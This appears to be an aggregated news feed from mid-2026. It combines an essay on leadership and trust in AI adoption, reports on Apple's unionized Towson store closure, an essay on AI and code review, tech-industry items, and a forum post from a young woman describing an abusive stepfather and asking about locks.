One of the more uncomfortable truths about AI transformation is that it exposes leadership capability gaps faster than most previous technology shifts.

AI changes decision-making, workflows and accountability in real time. That creates uncertainty, especially for middle managers and frontline teams who are being asked to rethink decision-making, productivity and even role design in real time.

Employees are asking questions many leaders are still struggling to answer themselves: Will AI replace parts of my role? What decisions should humans still own? How do we measure productivity now? What happens if the AI gets it wrong?

In organisations where leaders avoid these conversations or default to overly optimistic messaging about AI, trust erodes quickly.

Employees are far more likely to engage with AI when leaders explain how it will be used, where oversight exists and how human judgement remains part of the process. The trust is built through conversation, not comms.

Yet the gap between deployment and trust is widening. Research from KPMG and the University of Melbourne found that 65% of Australian employees work for organisations already using AI, yet only 36% say they are willing to trust it. In leadership conversations, the same patterns keep surfacing: Leaders talk about “efficiency” but avoid the real conversation about roles and headcount, offer lofty AI strategy with almost no concrete guidance on how decisions should change, and ask for experimentation while quietly punishing visible failure. Will this replace parts of my role, what do humans still own, what happens if it goes wrong, are ducked or deferred. And when leaders either blindly “trust the data” or run one-way town halls instead of creating ongoing, honest dialogue, people conclude that AI isn’t something being done with them, but to them, which is exactly where trust starts to fray.

This disconnect matters enormously because the frontline is where the work actually happens. If the people closest to customers, operations and day-to-day decisions don’t trust the tools they’ve been given, adoption stalls.

And unlike a software issue, you can’t patch a trust deficit with a product update.

What struggling organizations have in common

Organizations that are struggling with AI implementation share a few common traits. Their leaders are taking cautious, incremental steps rather than committing to real transformation.

AI experimentation is unsupported or subtly discouraged. AI capability sits inside a small specialist group instead of being distributed across the workforce. And perhaps most importantly, there’s a growing disconnect between what executives believe is happening with AI adoption and what employees are experiencing day to day.

On a recent transformation in a large financial services organization, these patterns were almost textbook. The exec team believed they were “playing it safe” with AI, limiting access to a small innovation group and asking everyone else to “watch and learn”, but on the ground, teams quietly read that as a signal that AI was risky, optional and not really for them. The result was a widening gap: Reports to the board painted a picture of steady AI progress, while frontline staff were still copy‑pasting into old templates, unsure what they were allowed to try and increasingly cynical about all the AI talk because nothing meaningful in their day-to-day work had actually changed.

Too many organizations still approach AI as a technology deployment exercise rather than a business transformation effort. ess.

There’s an assumption that once the tools are available, adoption and value will naturally follow.

But technology doesn’t change behavior on its own. People do.

What organisations getting AI right are doing differently

The organisations making real progress with AI tend to behave differently in four important ways.

First, their executives behave as though AI adoption is a business priority – not an innovation side project. They are visible, engaged and clear about what success looks like.

Second, they manage the human side of change deliberately — with structured change management, clear communication, manager enablement, feedback loops and active resistance management. The technology rollout is only one workstream. The people workstream runs alongside it. That’s where trust is either built or lost.

Third, they build trust through transparency. High-performing organizations explain how AI tools work, what data they use and where human oversight still matters. They don’t expect employees to blindly trust a black box.

Finally, they democratize AI capability. Rather than isolating AI knowledge inside IT or innovation teams, they actively spread capability across the organization through experimentation, learning and peer support.

In one recent transformation with a multi-national, adoption only started to accelerate when the executive team stopped treating AI as an innovation experiment and rewired how they led day to day. The COO began every weekly ops call by showing one concrete way they had personally used AI in their own workflow that week, then asked each manager to share an example from their teams, creating visible norms and peer pressure around real usage rather than abstract support.

At the same time, they ran a dedicated “people workstream” alongside the tech rollout, equipping managers with talk tracks, running open Q&A forums about data and oversight and inviting frontline employees to co-design how AI would support core processes like rostering decisions. Trust, transparency and capability all rose together instead of lagging behind the technology.

The question I’d ask leaders

If your AI investment isn’t paying off the way you expected, before revisiting the vendor contract or platform choice, I’d encourage you to ask a harder question:

Have we actually managed the change? Not simply announced it. Not just trained people on where to click. Managed it — in the full sense of that word.

Have we built the case for change at every level of the organization? Have we addressed the trust gap between the boardroom and the frontline? Have we created permission to experiment, and supported people when things don’t go perfectly the first time?

Because AI adoption only happens when people understand how the technology supports their judgement, not replaces it.

Most organisations already have access to capable AI technology. What will separate successful organisations from everyone else over the next few years won’t be access to tools. It will be leadership’s ability to build trust, clarity and confidence around how work changes.

For ANZ organizations, what’s at stake here is more than just a few missed efficiency gains, it’s the risk of quietly falling behind in competitiveness while telling themselves they’re “doing AI.” If we don’t address the human side of AI transformation, we’ll end up with expensive tools sitting on the shelf, increasingly cynical workforces and a widening gap between glossy strategy decks and what actually happens in offices, sites and frontline teams.

But if leaders lean into the hard work of trust, clarity and genuine engagement, AI becomes something very different: A catalyst for better decision-making, more meaningful roles and workplaces where people feel empowered, not threatened by new technology. In that future, the organizations that win in ANZ won’t just be the ones with the best models or biggest budgets; they’ll be the ones whose leaders had the courage to bring their people with them, not just their platforms.

Because AI transformation isn’t primarily a technology transformation.

It’s a human one.

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Apple Confirms Permanent Closure Dates for Three US Stores

Thu, 04 Jun 2026 06:23:35 +0200

Apple has confirmed the final closing dates for three retail stores in the United States, ending operations at locations in Connecticut, Maryland, and California later this month. The company says the decision comes after changing conditions at the shopping centers where the stores are located. The following Apple Stores will permanently close on June 20, 2026: Apple Trumbull in Trumbull, Connecticut at 9 p.m. Apple North County in Escondido, California at 9 p.m. Apple Towson Town Center in Towson, Maryland at 8 p.m. Apple said it evaluated the long-term conditions at these malls before making the decision. According to the company, several retailers have left these locations in recent years, while overall mall conditions have continued to decline. What Happens to Employees? Apple says employees at the Trumbull and North County stores will continue working at nearby Apple retail locations. Workers at the Towson Town Center store will be able to apply for other open positions within the company under the terms of their collective bargaining agreement. The Towson location made history in 2022 when it became the first unionized Apple Store in the United States. Following the closure announcement, the International Association of Machinists and Aerospace Workers criticized the decision and raised concerns about its impact on employees and the local community. Despite these closures, Apple continues investing in its retail business. Over the past year, the company has opened 11 new stores worldwide while also upgrading or relocating 14 existing locations. In the United States, Apple has opened two new stores and completed upgrades at eight others.

Need to lock my bedroom door from the inside while I'm not home.

Thu, 04 Jun 2026 03:52:41 +0200

Hi, this is a sort of crazy situation, but I (19 F) need some help because I don't know what else to do, and have two major issues. I apologize for any typos, I'm shaking while writing it. I currently live in my mom's (41 F) house, its under her name, she pays for everything, my step dad (54 M) is a complete freeloader, has a job, doesn't contribute or help with the smaller kids at all (my mom has significantly younger children). He's also a major pathological narcissist and liar, and probably quite literally a sociopath. He has zero emotional attachment to anything living, cares about nothing other than himself and his favorite hobby is intentionally making other people's lives harder. Anyways, I'm living here temporarily until I move into my own place in September, my mom is helping me pay for my continued education following me dropping out of traditional college, and she said that I'm allowed to live here free as long as I hold a job (I currently have two), and stay dedicated to my studies and make good grades. I have a kitten as well, I found him on the side of the road before his eyes even opened and have raised him since, he's 8 weeks old now. My mom is currently out of town with my four younger siblings, I stayed home to work, and apparently my step dad did as well, she left last Friday and is coming home tomorrow. Which honestly makes me asking this feel entirely stupid but hear me out please. I am also partially posting this here to have it recorded, if anyone has thoughts on me potentially filing a police report, please share those as well.

I have two jobs, one full time, one part time, both almost entirely outdoors, so when I come home, I'd really like to be a little cooler, considering we live in the south and it's like 85+ degrees with humidity. My room has multiple windows and tends to trap whatever temperature and multiply it, so it gets extremely hot in the summer and extremely cold in the winter. There is a thermostat outside of my room, but there is also a switch on the actual AC machine thing to turn it on and off, and that is upstairs in an unfinished closet like room. For the past week, I have made sure to turn it off at the switch every single day before leaving for work, and only turning it back on after getting express permission from my mother, who pays the power bill. However, this has sent my step dad on a power trip, so every single time I've gone to turn the AC on, he'd come behind me and turn it off as soon as I was out of earshot, often we'd do this multiple times a night. So I started waiting about an hour and a half, waiting for him to get comfortable and go to sleep, to go turn it back on. It has caused me to be majorly sleep deprived because I leave for work hours before he does and don't come back until usually after or only shortly before he does. Two nights ago now, I went and turned it on and then waited to see if he'd come back up, planning to confront him, but apparently he'd gotten to it before I even gotten set up to wait him out (I went back to my room for a minute to grab my phone, charger, etc). I checked and he locked the door to the room that the switch is in, I can't open it. It's a traditional lock, probably just like the one you have on your bedroom door, super common lock. I really need to pick this lock so I can get in there and turn it on. I haven't slept in multiple days atp, I can't sleep hot at all, and it's putting me in a really bad position with my jobs because they've noticed I'm distracted, exhausted, not doing as well as I usually do. How do I pick this lock, or even just make a key for it? Any tips?

I mentioned that I have a kitten, and my step dad's pathological issues. I can't lock my bedroom door whenever I leave the house for work because I won't be able to get back in. My kitten stays in my room, he doesn't leave my room because we have dogs that I don't feel safe with him around, considering how little he is. I also hid some food in my room because my step dad steals the food I use for my lunches, and doesn't allow me to eat whenever he's home and my mom is not. If he catches me eating he will quite literally dump water all over my food or just pick it up and throw it away entirely, plate and all. I got home from work today and noticed that all of the food that I've hidden is gone and my kitten is acting super skittish. My step dad does have a history of abusing my animals, my cats especially, and even killed my cat two and a half years ago. My kitten is also breathing abnormally. One of my jobs is at an animal clinic and I will be discussing with the doctor there what he thinks I should do, I'm going to contact him as soon as I finish writing this, especially if symptoms continue throughout the night. I don't have a key for the door going into my room, so I am needing to either figure out a way to lock this door so that only I can get into it when it is locked, or just get an entirely new doorknob and lock. Does anyone know how I could get a key made, where I could get a new doorknob and key, or know of a way to lock this from the inside?

Yes I am recording everything, he has a history of things like this, as well as more severe abuse when I was a child, that stopped when I got a job and a phone, aka the ability to call the police, but it would always get worse whenever I'd get grounded from my phone. No, he does not treat my other siblings like this, it is specifically towards me because I'm not his child and my biological father (45 M) is still in the picture. My dad has stepped in since my mom has been gone and made sure I've gotten home safe, eaten, etc, and I know that I can call him and he'll probably get here faster and solve the issue faster than the cops would. I'd go stay with him, but he and his wife (34? F) and their children are actively moving, so I'm trying to stay out of the way, and I also have various things to deal with around the house, such as feeding the animals, keeping things clean (step dad is a complete slob). I know my mom comes home tomorrow, but I have a feeling this summer, until I move into my own place, is only going to get worse. I'm moving states when I move, not telling my parents when exactly I plan on moving or where I am moving. I'm doing this because when I lived in the college dorms, my step dad found out what dorm I lived in and some issues occurred. I'm really trying to protect myself and the things I love, and doing that will really protect my peace. Any help is appreciated, thank you guys for listening to me and any advice you can give me.

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RollerGirl is a summery rollerblading adventure set in a small town

Wed, 03 Jun 2026 18:46:14 +0200

The slice-of-life game RollerGirl features music inspired by 2000s-era pop-punk.

Maryland Governor Backs Apple Towson Workers Amid Store Closure Dispute

Wed, 03 Jun 2026 15:25:47 +0200

Maryland Governor Wes Moore has publicly backed employees at Apple’s Towson Town Center store as the dispute over the location’s upcoming closure continues to draw attention from labor groups and lawmakers. The store, which became the first unionized Apple retail location in the United States in 2022, is currently scheduled to close on June 20. Apple announced earlier this year that the Towson Town Center store would shut down alongside two other retail locations in California and Connecticut. However, the decision has sparked criticism because of the store’s union status and the transfer options being offered to affected employees. Governor Wes Moore Supports Towson Workers Governor Wes Moore said the Towson Town Center store has played an important role in the local economy by providing jobs, supporting business activity, and serving customers in the region. He also praised the workers for demonstrating that strong business performance and worker representation can exist together. Moore called on Apple to provide Towson employees with the same transfer opportunities available to workers at non-union stores. While he did not directly accuse Apple of anti-union practices, his statement added pressure on the company as the closure date approaches. The IAM Union, which represents workers at the Towson location, has repeatedly criticized Apple’s handling of the closure. The union argues that employees should receive broader relocation options rather than being limited by the terms of the existing labor agreement. Several Maryland lawmakers and dozens of members of Congress have also urged Apple to reconsider the closure or expand transfer opportunities for affected workers. The union welcomed Governor Moore’s support and called on Apple to take action before the store closes. Apple Stands by Its Position Apple has maintained that it is following the agreement negotiated with the union. After the IAM Union filed an unfair labor practice charge with the National Labor Relations Board in April, the company said it strongly disagreed with the allegations and would present its case to the NLRB. As of now, Apple’s Towson Town Center store remains scheduled to close on June 20 at 8:00 p.m., while the dispute over employee transfer rights continues.

This is the end of 'Kentucky Route Zero'

Tue, 02 Jun 2026 23:46:23 +0200

Kentucky Route Zero ends with a funeral. It's a beautiful sight. The ceremony is in front of a towering dilapidated barn that serves as the anchor for a pastoral artists' community buried deep in the Kentucky woods. The setting sun bathes the town in gold as residents gather around a mound of dirt and an open hole, sharing haunting poetry and a song about the two bodies inside. Everyone calls them The Neighbors.

40 Members of Congress Urge Apple to Reverse Closure of First Unionized US Store

Tue, 02 Jun 2026 15:56:23 +0200

Apple is facing growing pressure from lawmakers over its decision to close the Apple Towson Town Center store in Maryland, which became the first Apple retail location in the United States to unionize in 2022. A group of 40 members of Congress has now asked Apple to reconsider the closure, arguing that the move could negatively affect nearly 100 employees and their families. The lawmakers sent a letter to Apple CEO Tim Cook and John Ternus, Apple's incoming CEO, urging the company to explore alternatives that would keep the store open and preserve jobs. The letter argues that the closure raises concerns because the Towson location was the first Apple Store in the country to form a union through the IAM Union. Members of Congress claim the decision appears to be part of a broader effort to discourage union activity. They also warned that any retaliation against workers for organizing would violate federal labor laws and could qualify as an unfair labor practice. Dispute Over Employee Transfers A major point of disagreement involves transfer opportunities for affected workers. The IAM Union argues that employees at the Towson store are not receiving the same relocation options that Apple has offered at other closing retail locations. Apple maintains that it is following the terms of its negotiated union contract, which guarantees transfers only within 50 miles of the Towson store. The company has also offered severance packages and agreed to give affected workers priority consideration if Apple opens a new store within that distance. The Towson store is scheduled to close on June 20. While lawmakers continue to push for a different outcome, Apple has not publicly responded to the latest congressional letter. The dispute is likely headed toward a legal battle, where regulators or courts will determine whether the closure reflects a legitimate business decision or unlawful retaliation against a unionized workforce.

Congress pressures Apple to keep first unionized U.S. store open

Tue, 02 Jun 2026 15:56:19 +0200

With a stern letter sent to Tim Cook and John Ternus Monday, Congress pressures Apple to keep the first unionized U.S. store open.

(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

AI killed the code review. What happens to knowledge sharing?

Tue, 02 Jun 2026 12:17:18 +0200

As long as software engineering is done in teams, we need a way for people to know how things work, why certain decisions were made and where the boundaries are. That need doesn’t go away when AI writes the code. If anything, it gets more critical.

Code reviews were how most teams handled this. When someone reviewed your PR, they didn’t just check for bugs; they absorbed context. They learned why certain decisions were made. That’s tribal knowledge. At The Hangar, a community of DevEx leaders, we discussed code reviews a lot. According to Adrienne Braganza Tacke, author of ‘Looks Good to Me: Constructive Code Reviews’, the most important function of code review is actually record-keeping: chronicling how the codebase changed and why, not just catching bugs.

That conversation now feels like a different era. The entire software development lifecycle, as we know it, is not only accelerating, but collapsing and being redefined. I recently said that we should kill the code review. AI generates code faster than humans can review it. PRs pile up or get rubber-stamped. That approval gate no longer matches how we do software engineering now.

But if AI is now generating most of the code and there is no way a human could ever read all of it, how do we share knowledge?

Decisions over diffs

My proposal for solving the code review bottleneck was to move the human checkpoint upstream, to reviewing intent, reviewing the contract that code should fulfill: specs, plans, constraints and acceptance criteria. The same applies to the knowledge-sharing part of the review process.

If the team reviews intent and acceptance criteria before code is generated, the knowledge sharing happens naturally as part of planning. You’re not trying to reverse-engineer decisions from a 500-line diff. You’re aligning on a handful of key choices before anything gets built. The reviewer reads 10 lines of decisions, not 500 lines of code.

Whether that takes the form of a lightweight spec, a set of acceptance criteria, or even bullet points extracted from the prompt conversation, the principle is the same: make decisions visible and reviewable. That’s where the knowledge lives.

When a developer works with Cursor or Claude Code, they make decisions constantly: architectural choices, behavior tradeoffs and scope calls. Those decisions live in the prompt conversation, in the back-and-forth with the agent. When the PR is submitted, that context is gone. The code is there. The reasoning behind it is not.

The idea of formalizing intent before implementation is not new. Behavior-Driven Development, Test-Driven Development and Design-by-Contract approaches all tried to define behavior in structured, human-readable specs before writing code. BDD in particular asks teams to describe what the system should do in natural language, as scenarios that even the non-technical stakeholders can read and verify, before any code is written.

These approaches were often perceived as overhead. Writing formal behavior descriptions and contracts demanded discipline and time. Under delivery pressure, teams frequently skipped them. AI makes them more practical, not less. AI can help generate structured acceptance criteria, behavioral specs, or even contract-like descriptions. It can also help enforce them.

AI software engineering isn’t a solo sport

Every now and then we hear about engineers out there running agent orchestrators that produce 100,000 lines of code a day, like Steve Yegge and his Gas Town. Some say this is the future of software development, solo developers with swarms of agents, but I disagree. Building software, even with agents, is not a solo sport.

If that one person gets hit by a bus, can someone else drive the project? Do they understand all the decisions that were made? No. In an enterprise, you need redundancy. Multiple stakeholders, teams and collaboration.

The knowledge-sharing function doesn’t become less important as AI adoption grows. It becomes more important, because the gap between what the system does and what any individual understands about it is widening faster than ever. No one wants to have their senior engineers become bottlenecks because they’re the only ones that know how they got their solutions from AI.

When AI is involved in every part of the process, the social contract of collaboration is changing. There’s authorship ambiguity — someone reviewing code that a colleague submitted doesn’t know how much effort they put into understanding the nuances of that code. The reviewer then might use AI to help them understand that code and post comments and the author may use AI to address those comments without investing time in reading and understanding them.

In a pre-AI team, a junior PR generates:

4–8 comments from a senior on idiomatic patterns.
A back-and-forth on edge cases.
An implicit “here’s how I’d think about this” lesson.
A senior who now knows that part of the code exists.

In an AI-heavy team, that same change is:

Generated by AI, lightly edited.
Reviewed by AI, lightly approved.
Merged with zero humans having formed a mental model of it.

New kind of debt: Cognitive debt

I recently spoke to professor and researcher Margaret-Anne Storey, who has coined a term for that: cognitive debt. She first noticed it with a group of her students who were building with AI and moving fast. At some point they told her that they couldn’t make changes in the product anymore. The professor suspected they had tech debt, messy code, but found out that the students had accrued a new kind of debt.

They had lost track of what features they were trying to build and why. They didn’t know who knew what on the team. And on one of the teams, it was one person who knew all the code and understood it because they were supervising the AI that generated it, and the rest of the team was unable to do that. And the person who had generated the code didn’t really understand what was generated either.

That’s the risk when teams start building fast with AI, dropping code reviews because they realistically cannot review thousands of lines of AI-generated code, but doing nothing to replace the knowledge-sharing function.

Anthropic’s study showed how over-reliance on AI coding assistants has downsides in code comprehension. Their study with 52 engineers found that AI assistance produced no statistically significant speedup on the task but scored 17% lower on a comprehension quiz afterward. The biggest drops were in debugging, with smaller declines in conceptual understanding and code reading. The takeaway is clear: passively delegating to AI (“just make it work”) impairs learning far more than using it to ask questions and understand the code.

Even a workflow of triggering an adversarial agent after you’re done coding with your primary agent that asks questions like: Why did you do it this way? What behavior do you expect? What tradeoffs did you consider, could go a long way toward reducing cognitive debt. It forces the developer to articulate understanding before the code moves forward.

Make knowledge sharing intentional

That judgment and those decisions — that is the main thing we as humans are providing in an AI-first world. You could even go so far as to say that most of the code written is boilerplate. The main decisions we’re making are architectural decisions, behavior decisions and technical decisions. These are the things we need to provide as input for the AI systems and every change requires clarity on those decisions.

A lot of the knowledge sharing that happened through code reviews was incidental. Engineers absorbed context because they had to look at the code to approve it. As we phase out reviews, being able to review these decisions becomes more important.

Eventually, engineers are still accountable for the changes they’ve created. All these decisions have to be tracked, and somebody has to be able to audit them to ask why certain decisions were made. That becomes your source of truth. That’s how I think team collaboration and knowledge sharing evolve, even though I said that we should kill the code review.

The productivity gains are real and worth taking. But every org optimizing purely for PR throughput is running an experiment on its own engineering culture. In five years, the orgs that win won’t be the ones that shipped the most AI code. They’ll be the ones whose engineers still understand what got shipped.

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G DATA Managed SOC in use by the town of Sundern: “We haven’t had any serious incidents so far”

Mon, 01 Jun 2026 11:38:06 +0200

Cybercrime happens around the clock – including at night, on public holidays and at weekends. Local authority IT teams struggle to ensure IT systems are monitored, particularly during off-peak hours. As a result, in the worst-case scenario, attacks remain undetected…

The post G DATA Managed SOC in use by the town of Sundern: “We haven’t had any serious incidents so far” appeared first on IT Security News.

Apple’s First Unionized Store Is Closing and Workers Aren’t Staying Quiet

Sat, 30 May 2026 08:09:11 +0200

Apple’s decision to close its Towson Town Center store in Maryland continues to draw criticism, with union workers, lawmakers, labor leaders, and community groups rallying outside the location this week. The store holds special significance because it became the first unionized Apple retail location in the United States, making its planned closure a major point of contention between Apple and the IAM Union. Apple announced in April that it would close three retail stores next month, including locations in Maryland, California, and Connecticut. The company said the affected stores are located in malls facing declining conditions and the departure of several retailers. While Apple has offered transfer opportunities to workers at the other two stores, the dispute centers on what options are available to employees at the unionized Towson location. Why the Union Is Challenging Apple The IAM Union argues that Apple is treating Towson workers differently because the store is unionized. Union leaders claim employees at the Maryland location are not receiving the same relocation opportunities that workers at the non-union stores were offered. During the protest, participants carried signs calling on Apple to provide equal treatment before the store closes in June. The union has also filed an Unfair Labor Practice charge with the National Labor Relations Board, alleging discriminatory treatment of unionized workers. Eric Brown, a Sales Lead at the Towson store and member of IAM Local 4538, highlighted the uncertainty many employees are facing as the closure date approaches. “My oldest daughter starts college in the fall. My youngest daughter turns 3 this year. And my newborn son is sleeping at home right now while I’m trying to figure out what comes next. My coworkers are in similar positions, carrying families, mortgages, medical bills, and the quiet fear of watching a stable job disappear. We’re not asking for charity. We’re asking Apple to do right by us and offer us the same transfer opportunities it extended to workers at its other closing stores.” Lawmakers and Labor Leaders Join Rally The protest attracted support from Maryland lawmakers, labor organizations, and civil rights groups. Several members of Maryland’s congressional delegation have already sent a letter to Apple seeking answers about the closure and its impact on workers. IAM Eastern Territory General Vice President David Sullivan delivered one of the strongest messages at the rally. “We know what it looks like when a corporation tries to make an example out of workers who dared to ask for a seat at the table. We have seen that playbook. We have faced it down before. And we have beaten it before. Apple is not the first powerful employer to try to break the spirit of organized workers. They will not be the last. But they will hear from us. They will hear from us today. They will hear from us at the National Labor Relations Board. And they will keep hearing from us every single day until justice is done for the workers of this store.” For now, Apple has not publicly commented on the protest, while the dispute over transfer opportunities and worker treatment remains unresolved ahead of the Towson store’s planned June closure.

Apple TV’s ‘Widow’s Bay’ is the best new show on TV; it’s a genuine miracle – Slate

Thu, 28 May 2026 23:09:20 +0200

“Widow’s Bay” is a quaint island town 40 miles off the coast of New England. But something lurks beneath the surface. Mayor Tom Loftis…

The post Apple TV’s ‘Widow’s Bay’ is the best new show on TV; it’s a genuine miracle – Slate appeared first on MacDailyNews.

Towson Store staff rally against closure, accusing Apple of anti-union discrimination

Thu, 28 May 2026 13:55:09 +0200

Ahead of the closure of the unionized Apple Towson Town Center in Maryland, protesting workers have called out Apple for allegedly treating them worse than workers from other closing stores.

Apple Towson Town Center workers protesting outside the Baltimore County Court - image credit: WBAL

Towson was the first Apple Store to unionize, and that may or may not have been a factor in Apple including it in a trio of stores to be closed down. But what is certain is that Apple is treating this store's employees differently from the others, and that is why there was a public rally on May 27, 2026.

According to Baltimore NBC affiliate WBAL, employees, local elected officials, and leaders of the International Association of Machinists and Aerospace Workers (IAM) Union, led the protest outside the County Courthouse.

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As AI datacenter memory becomes hot commodity, SK Hynix makes it cooler

Wed, 27 May 2026 18:21:35 +0200

South Korean semiconductor giant SK Hynix has announced a new type of high-bandwidth memory (HBM) for AI datacenters that improves heat dissipation by integrating a cooling layer within the memory package itself.

The change could allow AI processors incorporating the new memory to run faster, or reduce cooling costs.

Traditional chip cooling architectures are largely external; heat dissipation happens after it leaves the package. For the HBM memory used by AI, which vertically stacks memory chips on top of one another to improve latency and memory density, the extra heat generated has become a major design constraint.

Slated for the company’s next-generation HBM5 products due for launch from 2029 onwards, SK Hynix’s latest integrated high bandwidth memory (iHBM) takes a completely different approach of putting the cooling inside the Die-to-Die Physical Layer (D2D PHY).

This is the physical interface connecting the HBM and GPU where heat is concentrated. In iHBM this becomes a new ‘heat dissipation path’ for integrated cooling elements (ICE), reducing thermal resistance by a claimed 30%.

Not that long ago, innovations in memory and cooling would have been viewed as an interesting sideshow in a datacenter sector dominated by processor chip performance.

But as datacenter processor performance has grown rapidly over the last decade, the rise in importance of memory design, and the ability to cool it inside high-performance computing (HPC) systems, has turned into a big issue.

Made from custom silicon, putting ICE into memory packages makes life simpler for system builders. If iHBM can make good on the 30% improvement in heat dissipation that means the HBM modules have more headroom before hitting temperature ceilings that act as a drag on performance.

HBM boom

Memory’s importance to the AI datacenter boom is now so fundamental that recent figures from forecasting organization Epoch AI found that between Q1 2024 and Q4 2025 HBM rose from 52% to 63% of all AI chip component spending.

The numbers underline how AI has undermined decades of computing performance assumptions. With AI, the volume of data becomes critical and not simply the speed at which it can be processed. This has turned memory from an afterthought into something every datacenter architect worries about first. By comparison with HBM, Epoch AI noted that logic dies — Nvidia’s famous GPUs, for example — fell slightly from 14.2% to 12.9% of spending over the same period.

The knock-on effect of AI demand is that manufacturers have prioritized HBM over other types of memory such as DDR5, causing shortages for device makers.

In March, SK Group chairman Chey Tae-won said demand for hardware to run AI had overwhelmed supply in ways that looked like a longer-term structural change rather than a cyclical one. Epoch AI reckons this HBM demand boom has some way to go. “HBM will likely account for an even larger share in 2026 as memory supply remains tight and prices rise,” it said.

However, HBM is not the only show in town; in February Intel announced it was partnering with Softbank to develop an alternative, Z-Angle Memory (ZAM), also based on stacking memory modules on top of one another, with a delivery date of around 2030.

For AI datacenters designers and customers, every development is good news at a time when expectations for constantly rising performance have put the industry under pressure.

Improving thermal performance, and delivering it on time, could turn out to be a deciding factor. “iHBM is an optimal solution for thermal management, combining our memory design capabilities with advanced packaging technology,” said SK Hynix senior VP of PKG development, Kangwook Lee.

The Two Issues That Could Swing This District

Wed, 27 May 2026 16:48:55 +0200

Two national controversies — A.I. data centers and ICE detention centers — are converging in one swing congressional district. Our Southwest reporter Reis Thebault visits the town of Marana, Ariz., where some people are angry about both potential projects.

Apple’s iPhone satellite ambition goes beyond rescuing hikers

Wed, 27 May 2026 13:47:22 +0200

Apple has spent billions of dollars to develop satellite connectivity for iPhone; I very much doubt it did so solely to rescue stranded hikers. The company will most certainly have had a bigger prize in its sights when it first began working with GlobalStar (now owned by Amazon).

The most logical reason to invest in satellite coverage for its devices is the most obvious — to provide network infrastructure for new breeds of device and new service models. You don’t acquire access to massive amounts of bandwidth for nothing. And Apple’s steady introduction of new satellite-supported services shows it is interested in introducing these services, even though the offer isn’t extensive enough yet to require iPhone users to pay for access, yet.

The decision not to charge for those satellite services suggests they’re just the thin end of the company’s plans for satellite deployment.

It’s possible the company’s ambitions were limited by GlobalStar’s ability to put satellite constellations in orbit. That work was ongoing last time I looked, and I fully expect existing Apple satellite services will be extended to new nations, even under Amazon’s watch.

Amazon enters the room

Amazon’s recent $11.6 billion acquisition of GlobalStar is interesting. You can see that Apple is now forced to work with its old frenemy, even as both partners already profit from strong, steady Apple hardware sales via the online retailer. So they know they can make money together.

“Apple and Amazon have a long and proven track record of working together through Amazon’s core infrastructure services, and we look forward to building on that collaboration with Amazon Leo,” Greg Joswiak, Apple’s senior vice president of worldwide product marketing, said when the deal was announced. (The transaction isn’t expected to close until next year.)

Making money together is often seen as a strength in business relationships and Amazon has agreed to continue supporting Apple products and to collaborate with Apple on future satellite services.

When it comes to mobile telecoms, Amazon isn’t the only game in town, and neither is Starlink. Cellular operators are inking deals with satellite providers all over the world, all with the intention of bringing network access to those who otherwise can’t get a decent connection.

Just today in the UK, Virgin Media O2 announced plans to switch on the O2 Satellite service for iPhone users tomorrow, enabling customers — particularly in rural areas — to get a satellite connection where traditional cellular coverage is unavailable. It could simply identify new ways to enhance the Find My service.

Orange last year offered its own satellite comms to French customers, while Deutsche Telekom partners with others to provide SMS via satellite in Europe and the US. You’ll find similar alliances in most key territories, including Australia and Japan. The direction of travel exposes an industry embracing satellite as a way to widen existing cellular infrastructure, which makes sense given the relative cost of installing conventional masts in some regions.

Many ways to crack it

There’s speculation Apple could become a satellite carrier, a move that would put it in competition with carrier partners. But Apple doesn’t need to do to provide satellite communication services to iPhone users, nor would it want to relinquish the symbiotically profitable relationships it’s developed with carriers.

It could, for example provide satellite calling as a hardware feature available with every iPhone across all supported carriers, possibly as an additional service that guarantees customers can get a connection, even in the countryside. It could evangelize the service as being “Private by Design,” and supplement this with data over satellite to support apps, particularly agentic AI apps.

Combined with the next wave of AI enhancements Apple is expected to deliver for its systems, the combination of an always-on, resilient, private data connection and AI could prove invaluable to many customers. That’s particularly true for enterprise customers seeking global solutions that respect sovereign data, privacy, data retention policy and managed AI services – especially as terrestrial infrastructure becomes an attack target. Such scenarios will only become more widely understood as 6G emerges, with its built-in support for satellite infrastructure.

What will Apple do?

Will Apple move in that direction, or maintain its focus on the consumer markets? Will it decide that rather than deploying its own part-owned satellite constellations as it was with GlobalStar, it is better to work with carrier partners? Will it wait for 6G with its enhanced, standards-based support for satellite communications?

Those are answers we don’t yet have. But it is quite clear that as satellite communications truly enter the mass market, Apple has put together many of the technical, hardware, software and infrastructure pieces it will need to ensure the iPhone is a peer player in whatever use cases emerge.

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When Two Heated Political Issues Descended on One Swing District Town

Wed, 27 May 2026 11:18:34 +0200

Marana, Ariz., is used to placid local politics, but the town, in a congressional district held by Juan Ciscomani, has been convulsed by two national issues, A.I. and immigration detention.

The Two Issues That Could Swing This District

Wed, 27 May 2026 11:18:33 +0200

Delaware Judge Rules 2 Million Non-Human Corporate Identities Can Vote in a State of 1 Million People

Wed, 27 May 2026 08:21:23 +0200

You would think this is The Onion again, or at least an exaggeration. But no, the judge literally invokes a movie villain robot that wanted to kill all the crew in a ship as an example of what should be allowed to vote. The American Civil Liberties Union of Delaware sued the town, arguing it … Continue reading →

CISA Announces Revised Town Hall Schedule to Engage with Stakeholders on Cyber Incident Reporting for Critical Infrastructure

Wed, 27 May 2026 05:22:34 +0200

This post doesn’t have text content, please click on the link below to view the original article. This article has been indexed from CISA News Read the original article: CISA Announces Revised Town Hall Schedule to Engage with Stakeholders on…

The post CISA Announces Revised Town Hall Schedule to Engage with Stakeholders on Cyber Incident Reporting for Critical Infrastructure appeared first on IT Security News.

IT Security News Hourly Summary 2026-05-27 03h : 1 posts

Wed, 27 May 2026 05:22:33 +0200

1 posts were published in the last hour 0:31 : CISA Announces Revised Town Hall Schedule to Engage with Stakeholders on Cyber Incident Reporting for Critical Infrastructure

The post IT Security News Hourly Summary 2026-05-27 03h : 1 posts appeared first on IT Security News.

Sunday Reboot: Stadium iPhones, Epic messaging fail, and Plex

Sun, 24 May 2026 23:08:28 +0200

In this week's "Sunday Reboot," Apple shoots soccer with iPhones, Epic Games misses the mark with its messaging, and Plex's astounding price rise.

Sunday Reboot: An iPhone, Fortnite, and a price rise

Sunday Reboot is a weekly column covering some of the lighter stories within the Apple reality distortion field from the past seven days. All to get the next week underway with a good first step.

This week, Apple faced protests over the closure of the Apple Towson Town Center store, the first unionized store. It also elected to continue the never-ending lawsuit with Epic Games via the Supreme Court, and it turns out some server schematics were stolen in the May cyberattack of Foxconn.

Continue Reading on AppleInsider | Discuss on our Forums

'Off the wishlist it comes': 007 First Light fans are requesting refunds after learning about Denuvo DRM addition ahead of launch

